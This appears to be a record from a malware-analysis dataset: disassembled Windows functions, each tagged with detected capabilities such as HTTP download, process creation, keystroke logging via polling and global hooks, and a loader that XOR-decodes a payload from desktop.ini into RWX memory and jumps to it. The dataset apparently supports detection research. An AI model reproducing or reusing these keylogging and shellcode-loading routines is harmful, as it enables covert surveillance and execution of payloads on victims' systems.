joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405d84
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbcc
push ebx
xor ecx, ecx
mov dword [ebp - 0x434], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403364
xor eax, eax
push ebp
push 0x405f7b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 0
push 0x405f88
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 8], eax
xor edx, edx
push ebp
push 0x405f46
push dword fs:[edx]
mov dword fs:[edx], esp
cmp dword [ebp - 8], 0
je 0x405f2f
lea ecx, [ebp - 0x20]
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.00405c78
push 0
push 0
push 3
push 0
push 0
push 0x50
mov eax, dword [ebp - 0x1c]
call fcn.00403374
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetConnectA
mov dword [ebp - 0xc], eax
mov eax, 0x405f90
mov dword [ebp - 0x24], eax
push 0
push 0x80000000
lea eax, [ebp - 0x24]
push eax
push 0
push 0x405f9c
mov eax, dword [ebp - 0x20]
call fcn.00403374
push eax
push 0x405fa8
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_HttpOpenRequestA
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
call fcn.00403174
push eax
mov eax, dword [ebp - 4]
call fcn.00403374
push eax
push 0x2f
push 0x405fb0
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_HttpSendRequestA
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 0x400
mov eax, dword [ebp - 0x28]
call fcn.00402438
mov ebx, eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x28]
push eax
push ebx
push 5
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_HttpQueryInfoA
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x405f2f
xor eax, eax
push ebp
push 0x405f28
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x14], 0x400
lea eax, [ebp - 0x14]
push eax
push 0x400
lea eax, [ebp - 0x42e]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetReadFile
cmp dword [ebp - 0x14], 0
je 0x405f08
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x42e], 0
lea eax, [ebp - 0x434]
lea edx, [ebp - 0x42e]
mov ecx, 0x402
call fcn.0040315c
mov edx, dword [ebp - 0x434]
lea eax, [ebp - 0x18]
call fcn.0040317c
jmp 0x405eb1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405f2f
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetCloseHandle
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405f4d
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
Function at 0x406018
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403364
xor eax, eax
push ebp
push 0x40608b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x48]
mov edx, 0x44
call fcn.00403b7c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0x4000000
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403374
push eax
push 0
call sub.kernel32.dll_CreateProcessA
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406092
lea eax, [ebp - 4]
call fcn.00402ffc
ret
Function at 0x406c1c
Capabilities:
Hash data with md5

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
add eax, 0x18
mov edx, 0x40
call fcn.00403b7c
ret

Function at 0x406e4c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
xor eax, eax
push ebp
push 0x406ef0
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x406f04
call fcn.00403094
mov edx, dword [0x40926c]
mov edx, dword [edx]
lea eax, [ebp - 4]
mov ecx, 0x406f04
call fcn.004031c0
mov eax, dword [ebp - 4]
call fcn.00403374
push eax
call sub.kernel32.dll_DeleteFileA
lea eax, [ebp - 8]
push eax
mov eax, dword [0x40926c]
mov eax, dword [eax]
call fcn.00403174
mov ecx, eax
sub ecx, 3
mov eax, dword [0x40926c]
mov eax, dword [eax]
mov edx, 1
call fcn.004033d4
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
mov ecx, 0x406f04
call fcn.004031c0
mov eax, dword [ebp - 4]
call fcn.00403374
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406ef7
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403020
ret

Function at 0x406ff0
Capabilities:
Accept command line arguments
Read .ini file

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [0x40927c]
xor eax, eax
push ebp
push 0x407107
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, 1
call sub.kernel32.dll_GetCommandLineA_1
mov edx, eax
lea eax, [ebp - 8]
call fcn.0040312c
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call fcn.00406f1c
mov edx, dword [ebp - 4]
mov eax, edi
call fcn.00403050
cmp dword [edi], 0
je 0x4070ec
mov esi, 2
mov eax, 0x11
call fcn.00402438
mov ebx, eax
lea eax, [ebp - 0xc]
call fcn.004047e4
lea eax, [ebp - 0xc]
mov edx, 0x407120
call fcn.0040317c
mov eax, dword [ebp - 0xc]
call fcn.00403374
push eax
push 0x11
push ebx
push 0x407130
mov eax, dword [edi]
call fcn.00403374
push eax
push 0x407134
call sub.kernel32.dll_GetPrivateProfileStringA
mov eax, dword [0x409270]
mov edx, ebx
call fcn.0040312c
lea edx, [ebp - 0x10]
mov eax, dword [0x409270]
mov eax, dword [eax]
call fcn.00404760
mov edx, dword [ebp - 0x10]
mov eax, dword [0x409270]
call fcn.00403050
mov eax, ebx
call fcn.00402458
mov eax, dword [0x409270]
cmp dword [eax], 0
je 0x4070ec
mov eax, dword [edi]
call fcn.004046f8
test al, al
je 0x4070ec
mov eax, dword [edi]
call fcn.00403174
cmp eax, 4
jle 0x4070ec
mov eax, dword [edi]
call fcn.00403174
cmp eax, 0xc
jge 0x4070ec
mov esi, 3
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40710e
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00403020
ret
Function at 0x407770
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x408], ecx
mov dword [ebp - 0x40c], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x40786d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00402ffc
push 0
push 0
push 0
push 0
push 0x40787c
call sub.wininet.dll_InternetOpenA
mov edi, eax
test edi, edi
je 0x40784f
push 0
push 0x84000000
push 0
push 0
mov eax, esi
call fcn.00403374
push eax
push edi
call sub.wininet.dll_InternetOpenUrlA
mov esi, eax
test esi, esi
jne 0x407829
push edi
call sub.wininet.dll_InternetCloseHandle
jmp 0x40784f
cmp dword [ebp - 4], 0
je 0x407843
lea eax, [ebp - 0x408]
push eax
lea eax, [ebp - 0x40c]
lea edx, [ebp - 0x404]
mov ecx, 0x400
call fcn.004030ec
mov eax, dword [ebp - 0x40c]
mov ecx, dword [ebp - 4]
mov edx, 1
call fcn.004033d4
mov edx, dword [ebp - 0x408]
mov eax, ebx
call fcn.0040317c
lea eax, [ebp - 4]
push eax
push 0x400
lea eax, [ebp - 0x404]
push eax
push esi
call sub.wininet.dll_InternetReadFile
test eax, eax
jne 0x4077e6
push esi
call sub.wininet.dll_InternetCloseHandle
push edi
call sub.wininet.dll_InternetCloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407874
lea eax, [ebp - 0x40c]
mov edx, 2
call fcn.00403020
ret
Function at 0x407ae8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10c], ebx
mov dword [ebp - 0x108], ebx
mov edi, ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x407c87
push dword fs:[eax]
mov dword fs:[eax], esp
call sub.user32.dll_GetForegroundWindow
mov edx, dword [0x409274]
cmp eax, dword [edx]
jne 0x407c69
mov eax, ebx
sub eax, 8
je 0x407b3d
dec eax
je 0x407b95
sub eax, 4
je 0x407bb3
jmp 0x407bd1
mov eax, dword [0x40928c]
cmp byte [eax], 0
je 0x407b6e
mov eax, dword [0x409270]
mov eax, dword [eax]
call fcn.00403174
mov edx, eax
mov eax, dword [0x409270]
mov ecx, 1
call fcn.00403414
call fcn.00407ab8
jmp 0x407c65
mov eax, dword [0x40927c]
mov eax, dword [eax]
call fcn.00403174
mov edx, eax
mov eax, dword [0x40927c]
mov ecx, 1
call fcn.00403414
call fcn.00407a30
jmp 0x407c65
mov eax, dword [0x40928c]
cmp byte [eax], 0
je 0x407ba9
call fcn.00407a30
jmp 0x407c65
call fcn.00407ab8
jmp 0x407c65
mov eax, dword [0x40928c]
cmp byte [eax], 0
je 0x407bc7
call fcn.004074ac
jmp 0x407c65
call fcn.00407ab8
jmp 0x407c65
lea eax, [ebp - 0x104]
push eax
call sub.user32.dll_GetKeyboardState
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x104]
push eax
shr edi, 0x10
and edi, 0xff
push edi
push ebx
call sub.user32.dll_ToAscii
dec eax
jne 0x407c69
mov al, byte [ebp - 4]
call fcn.004044a4
test al, al
je 0x407c69
mov eax, dword [0x40928c]
cmp byte [eax], 0
je 0x407c3d
lea eax, [ebp - 0x108]
mov dl, byte [ebp - 4]
call fcn.0040311c
mov edx, dword [ebp - 0x108]
mov eax, dword [0x409270]
call fcn.0040317c
mov eax, dword [0x409270]
call fcn.00407ab8
jmp 0x407c65
lea eax, [ebp - 0x10c]
mov dl, byte [ebp - 4]
call fcn.0040311c
mov edx, dword [ebp - 0x10c]
mov eax, dword [0x40927c]
call fcn.0040317c
mov eax, dword [0x40927c]
call fcn.00407a30
xor eax, eax
mov dword [esi], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407c8e
lea eax, [ebp - 0x10c]
mov edx, 2
call fcn.00403020
ret

Function at 0x407dec
Capabilities:
Set global application hook

Disassembly:
call fcn.00407a30
push 0
mov eax, dword [0x40a650]
push eax
mov eax, 0x407d80
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x40912c], eax
ret

Function at 0x408328
Capabilities:
Set global application hook

Disassembly:
push 0
mov eax, dword [0x40a650]
push eax
mov eax, 0x4082b8
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x409130], eax
ret
Function at 0x4083b4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403364
xor eax, eax
push ebp
push 0x408444
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00402ffc
mov eax, dword [ebp - 4]
call fcn.00403174
mov ebx, eax
test bx, bx
jbe 0x408426
mov di, 1
movzx eax, di
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax - 1]
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
mov dx, word [ebp - 6]
xor dx, 2
call fcn.0040311c
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.0040317c
inc edi
dec bx
jne 0x4083f7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40844b
lea eax, [ebp - 0xc]
call fcn.00402ffc
lea eax, [ebp - 4]
call fcn.00402ffc
ret
Function at 0x408a30
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
xor eax, eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], eax
mov eax, 0x408958
call fcn.004038d4
mov ebx, 0x409138
xor eax, eax
push ebp
push 0x408c0c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
push ebx
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebx + eax], 0
lea eax, [ebp - 0x44]
mov edx, ebx
mov ecx, 0x105
call fcn.0040315c
mov eax, dword [ebp - 0x44]
lea edx, [ebp - 0x40]
call fcn.00404834
mov edx, dword [ebp - 0x40]
mov eax, 0x40a748
call fcn.00403050
mov edx, 0x408c24
mov eax, dword [0x40a748]
call fcn.00404730
test al, al
je 0x408abd
mov eax, dword [0x409268]
mov dword [eax], 0xffffffff
jmp 0x408b7b
mov edx, 0x408c3c
mov eax, dword [0x40a748]
call fcn.00404730
test al, al
je 0x408b7b
mov eax, dword [0x409258]
mov dword [eax], 0xffffffff
mov eax, dword [0x409284]
mov edx, ebx
mov ecx, 0x105
call fcn.0040315c
lea edx, [ebp - 0x48]
mov eax, dword [0x409284]
mov eax, dword [eax]
call fcn.00404650
mov edx, dword [ebp - 0x48]
mov eax, dword [0x40926c]
call fcn.00403050
call fcn.00406ff0
mov dword [0x409240], eax
cmp dword [0x409240], 1
jne 0x408b42
call fcn.00404adc
push 0x40a750
push 0
push 0
push 0x407e44
push 0
push 0
call sub.kernel32.dll_CreateThread
call fcn.00406e4c
jmp 0x408b7b
cmp dword [0x409240], 2
je 0x408b7b
cmp dword [0x409240], 3
jne 0x408b7b
mov eax, dword [0x409294]
mov dword [eax], 0xffffffff
push 0x40a750
push 0
push 0
push 0x408584
push 0
push 0
call sub.kernel32.dll_CreateThread
call fcn.00408328
push 0x104
push ebx
mov eax, dword [0x40a650]
push eax
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebx + eax], 0
mov eax, dword [0x409260]
mov edx, ebx
mov ecx, 0x105
call fcn.0040315c
lea edx, [ebp - 0x4c]
mov eax, dword [0x409260]
mov eax, dword [eax]
call fcn.00404aa4
mov edx, dword [ebp - 0x4c]
mov eax, dword [0x409288]
call fcn.00403050
mov eax, dword [0x409268]
cmp dword [eax], 0
je 0x408bf1
push 0x408c44
push 0x408c50
call sub.user32.dll_FindWindowA
test eax, eax
jne 0x408bf1
push 0x40a74c
push 0
push 0x42
push 0x404ff8
push 0
push 0
call sub.kernel32.dll_CreateThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408c13
lea eax, [ebp - 0x4c]
mov edx, 4
call fcn.00403020
ret
Function at 0x405d6b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a0c], 0
push esi
jne 0x405da2
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405d7c
mov dword [ecx*4 + 0x422a08], eax
inc ecx
cmp ecx, 0x100
jl 0x405d77
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405dd3
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a08]
xor eax, esi
inc ecx
dec edx
jne 0x405db5
pop edi
not eax
pop esi
ret 0xc

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x402270
Capabilities:
Check os version
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x443200
mov eax, dword fs:[0]
push eax
sub esp, 0x2d8
mov eax, dword [0x454100]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
mov dword [0x45afac], eax
lea eax, [ebp - 0x128]
push eax
mov dword [ebp - 0x128], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x40249b
cmp dword [ebp - 0x118], 2
jne 0x40249b
call fcn.0041b8d0
call fcn.0043fd40
test eax, eax
jne 0x4022fe
cmp byte [0x45afa8], al
jne 0x4022fe
push 0x10
push 0x44a774
push str.Cannot_enable_security_mitigations
push eax
call dword [0x448960]
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x45b2ac]
cmp eax, dword [ecx + 0x18]
jle 0x402361
push 0x45b2ac
call fcn.004402ff
add esp, 4
cmp dword [0x45b2ac], 0xffffffff
jne 0x402361
push 0
push 0
push 0xa
call fcn.00419f30
test eax, eax
jne 0x40233c
xor al, al
jmp 0x40234f
push 0x3a8a
push 0
push 0xa
call fcn.00419f30
test eax, eax
sete al
push 0x45b2ac
mov byte [0x45b2c8], al
call fcn.004402ae
add esp, 4
cmp byte [0x45b2c8], 0
je 0x402395
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402395
push 0xa11
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402395
mov ecx, esi
call dword [0x447370]
call esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp ax, 6
je 0x4023dc
push str.SetDefaultDllDirectories
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4023dc
push 0xc00
mov ecx, esi
call dword [0x447370]
call esi
test eax, eax
jne 0x40246d
push 0x106
lea eax, [ebp - 0x2e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ecx, eax
test ecx, ecx
je 0x40246d
cmp ecx, 0x104
ja 0x40246d
cmp word [ebp + ecx*2 - 0x2e6], 0x5c
je 0x402415
mov eax, 0x5c
mov word [ebp + ecx*2 - 0x2e4], ax
inc ecx
mov al, byte [str.userenv]
mov esi, str.userenv
test al, al
je 0x40246d
lea edi, [ebp - 0x2e4]
lea edi, [edi + ecx*2]
lea esp, [esp]
mov ecx, edi
inc esi
movzx eax, al
lea ecx, [ecx + 2]
mov word [ecx - 2], ax
mov al, byte [esi]
inc esi
test al, al
jne 0x402433
xor eax, eax
mov dword [ecx], 0x64002e
push 8
push eax
mov word [ecx + 8], ax
lea eax, [ebp - 0x2e4]
push eax
mov dword [ecx + 4], 0x6c006c
call dword [0x448284]
mov al, byte [esi]
test al, al
jne 0x402430
call fcn.00401640
jmp 0x4024bd
cmp byte [0x45afa8], 0
jne 0x4024b8
push 0x10
push 0x44a774
push str.Unsupported_Windows_version
push 0
call dword [0x448960]
mov eax, 2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00440370
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4095a0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x443bd0
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x454100]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push dword [edi + 0xcc]
call fcn.0044037e
push dword [edi + 0xc0]
call fcn.0044037e
push dword [edi + 0x9c]
call fcn.0044037e
push dword [edi + 0x90]
call fcn.0044037e
push dword [edi + 0x30]
call fcn.0044037e
push dword [edi + 0x24]
call fcn.0044037e
push dword [edi + 0x18]
call fcn.0044037e
add esp, 0x1c
mov dword [ebp - 4], 0
mov ecx, dword [edi + 0xc]
test ecx, ecx
je 0x40962b
mov eax, dword [ecx]
push ecx
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x447370]
call esi
mov dword [ebp - 4], 1
mov ecx, dword [edi + 8]
test ecx, ecx
je 0x409649
mov eax, dword [ecx]
push ecx
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x447370]
call esi
mov dword [ebp - 4], 2
mov ecx, dword [edi + 4]
test ecx, ecx
je 0x409667
mov eax, dword [ecx]
push ecx
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x447370]
call esi
mov dword [ebp - 4], 3
mov ecx, dword [edi]
test ecx, ecx
je 0x409684
mov eax, dword [ecx]
push ecx
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x447370]
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40a380
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x443dbf
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x454100]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov dword [edi + 0x14], 0
mov dword [edi], vtable.COpenCallbackImp.1.0
mov dword [edi + 4], vtable.COpenCallbackImp.2.0
mov dword [edi + 8], vtable.COpenCallbackImp.4.0
mov dword [edi + 0xc], vtable.COpenCallbackImp.3.0
mov dword [edi + 0x10], vtable.COpenCallbackImp.0
mov word [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [ebp - 4], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x34], 0
mov dword [edi + 0x38], 0
mov dword [edi + 0x3c], 0
mov byte [ebp - 4], 2
lea ecx, [edi + 0x48]
mov dword [edi + 0x40], 0
mov dword [edi + 0x44], 0
call fcn.0041f130
lea ecx, [edi + 0x54]
mov byte [ebp - 4], 3
call fcn.0041f130
lea esi, [edi + 0x60]
mov byte [ebp - 4], 4
mov ecx, esi
mov dword [ebp - 0x14], esi
call fcn.00421df0
lea ecx, [esi + 0x28]
call fcn.0041f130
lea esi, [edi + 0x98]
mov dword [ebp - 0x14], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov byte [ebp - 4], 6
mov dword [esi + 0xc], 0xffffffff
mov dword [esi + 0x10], 0xffffffff
mov dword [esi + 0x14], 0
call fcn.00423c30
mov dword [esi + 0x18], eax
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40a580
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x443e70
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x454100]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov dword [edi], 0
mov dword [ebp - 4], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov byte [ebp - 4], 3
lea ecx, [edi + 0x18]
mov dword [edi + 0x11], 0
mov word [edi + 0x15], 0
mov byte [edi + 0x17], 0
call fcn.0041f130
lea ecx, [edi + 0x24]
mov byte [ebp - 4], 4
call fcn.0041f130
lea ecx, [edi + 0x30]
mov byte [ebp - 4], 5
call fcn.0041f130
mov byte [ebp - 4], 6
lea esi, [edi + 0x78]
xor eax, eax
mov dword [edi + 0x44], 0
mov dword [edi + 0x48], 0
lea ecx, [esi + 0x18]
mov dword [edi + 0x4c], eax
mov dword [ebp - 0x14], esi
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0xffffffff
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
call fcn.0041f130
lea ecx, [esi + 0x24]
mov byte [ebp - 4], 7
call fcn.0041f130
lea esi, [edi + 0xa8]
mov byte [ebp - 4], 8
mov dword [ebp - 0x14], esi
lea ecx, [esi + 0x18]
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0xffffffff
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.0041f130
lea ecx, [esi + 0x24]
mov byte [ebp - 4], 9
call fcn.0041f130
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40cf40
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x444282
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x454100]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], 0
mov dword [ebp - 4], 0
mov dword [esi], vtable.CBrowseDialog.0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x3c], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x48], 0
lea ecx, [esi + 0x54]
mov byte [ebp - 4], 2
call fcn.0041f130
lea ecx, [esi + 0x60]
mov byte [ebp - 4], 3
call fcn.0041f130
mov word [esi + 0x6c], 0
mov dword [esi + 0x70], 0xffffffff
mov dword [esi + 0x74], 0
mov dword [esi + 0x78], 0
mov dword [esi + 0x7c], 0
lea ecx, [esi + 0x80]
mov byte [ebp - 4], 5
call fcn.0041f130
lea ecx, [esi + 0x8c]
mov byte [ebp - 4], 6
call fcn.0041f130
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret